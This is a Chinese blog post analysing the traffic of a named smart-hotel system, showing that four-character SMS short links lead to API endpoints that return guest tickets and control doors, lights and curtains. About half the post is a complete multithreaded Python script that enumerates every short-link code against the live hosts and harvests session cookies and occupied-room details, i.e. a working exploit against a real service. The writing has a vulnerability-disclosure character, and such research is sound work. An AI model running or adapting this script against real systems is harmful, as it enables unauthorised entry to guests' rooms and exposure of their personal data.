记一次对某智能酒店系统的抓包及分析

 

7月份去苏州中学化学竞赛培训的时候, 入住了苏州中学对面的”美途智选酒店”, 发现酒店使用了名为 携住科技 的一套智能酒店管理系统.

这套管理系统看似颇为高端, 酒店可以用手机遥控开门, 都不用房卡?

  • 截图截图

  • 截图截图

后来在午休闲暇时, 对该管理系统进行了抓包分析.

<分析过程>

首先旅客入住后会通过短信收到一个类似 https://hub2.cn/xxxx 的地址, 其中xxxx是4位大小写字母与数字的组合.
推测这是一个第三方提供的短链接服务, 返回一个真实地址的 Base64 值与一段 js 脚本用于继续跳转.
后经过多次跳转(推测用于统计网站流量), 将用户引导至第一个携住网的地址, 形似https://sms.xiezhuwang.com/hotelmaster/firstlook?path=home&key=xxxxxxxxxx
该页面会显示欢迎页面, 同时设置用户 Cookie 中的 Session ID, 随即跳转到控制用页面.

控制用页面中的 js 脚本会调用同网站的 /Client/GetTicketLightAndDevice 接口, 返回值如下(因版面问题未将 json 格式化, 抱歉)

1
{"ticketList":[],"lightConfig":[{"AreaName":"灯光","DeviceList":[{"Key":10005,"Name":"灯1","DeviceType":"256"},{"Key":10006,"Name":"灯2","DeviceType":"256"},{"Key":10007,"Name":"灯3","DeviceType":"256"},{"Key":10008,"Name":"灯4","DeviceType":"256"}]}],"deviceList":[{"DeviceRealType":"ac","DeviceList":[{"DeviceKey":10003,"DeviceName":"空调","DeviceType":"32","State":0,"Remark":null}]},{"DeviceRealType":"curtain","DeviceList":[{"DeviceKey":10001,"DeviceName":"窗帘","DeviceType":"2","State":0,"Remark":null}]},{"DeviceRealType":"tv","DeviceList":[{"DeviceKey":10004,"DeviceName":"电视","DeviceType":"32","State":0,"Remark":null}]},{"DeviceRealType":"audio","DeviceList":[{"DeviceKey":10002,"DeviceName":"音响","DeviceType":"272","State":0,"Remark":null}]},{"DeviceRealType":"lift","DeviceList":[]}],"hasDoor":false,"isDemo":true,"isSuccess":true}

如该房间还未退房(写文章时我已经退房), 返回的 json 的 ticketList 数组中将包含 ticketCode 与住户的其他个人信息, 同时 json 中的 isDemo 值为 false.

接下来只需要使用获取的 ticketCode 与 Cookie 中的 Session ID 继续访问 /Client/UseConsole 接口便可以进一步控制房门, 灯光, 窗帘, 空调等房间内设.

</分析过程>

至此, 可能还没有什么明显的漏洞, 可是稍微深入分析, 就会发现整个系统的第一步–短链接, 便是不可靠的.
短链接使用了四位大小写字母与数字的组合, 总计 ( 26 * 2 + 10 ) ^ 4 = 14776336 种.
而对于如今快速发展的互联网, 甚至手机移动数据都可以轻易的试出所有组合.

具体 Python 实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import _thread
import time
import base64
import json

all_str = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789"

total = ( 26 * 2 + 10 ) ** 4
counter = 0
running = 16


def is_valid_room(req):
start = req.find("real_url_base64")
if start == -1:
print("invalid: url not found " + req)
return False
req = req[start:]
start = req.find("value=\"")
req = req[start + 7:]
req = req[:req.find("\"")]
url = ""
try:
url = base64.b64decode(req.encode("utf-8")).decode("utf-8")
except Exception as e:
print(e)
return False
if "sms.xiezhuwang.com/hotelmaster/firstlook" not in url:
print("invalid url:" + url)
return False
req = requests.get(url, verify=False, timeout=10)
print(req.cookies)
session_id_cookie = req.cookies
req = requests.get("https://sms.xiezhuwang.com//Client/GetTicketLightAndDevice?t=" + str(round(time.time())), cookies=session_id_cookie, verify=False).content.decode("utf-8")
print(req)
try:
res = json.loads(req)["ticketList"][0]
print(res["RoomNo"])
print("OK!")
f = open(res["HotelName"] + "-" + res["RoomNo"], "w")
f.write(url)
f.close()
return True
except Exception as e:
print(e)
print("invalid: failed to get RoomNo")
return False


def check(i):
global running
while True:
try:
running -= 1
r = requests.get("https://hub2.cn/" + i, timeout=2, verify=False).content.decode("utf-8")
if "短网址不存在" not in r:
if is_valid_room(r):
f = open(i, "w")
f.write(r)
f.close()
running += 1
break
except Exception as e:
print(e)
running += 1


for i in all_str:
for i2 in all_str:
for i3 in all_str:
for i4 in all_str:
res = i + i2 + i3 +i4
counter += 1
while running < 0:
pass
_thread.start_new_thread(check, (res,))
time.sleep(0.001)
print(str(running) + " " + res + " " + str(counter) + " " + str(counter / total))

所以想要随意进出他人房间就是轻而易举的事?

以上.

本文采用 CC BY-NC-SA 4.0 许可协议发布.

作者: lyc8503, 文章链接: https://blog.lyc8503.net/post/hotel/
如果本文给你带来了帮助或让你觉得有趣, 可以考虑赞助我¬_¬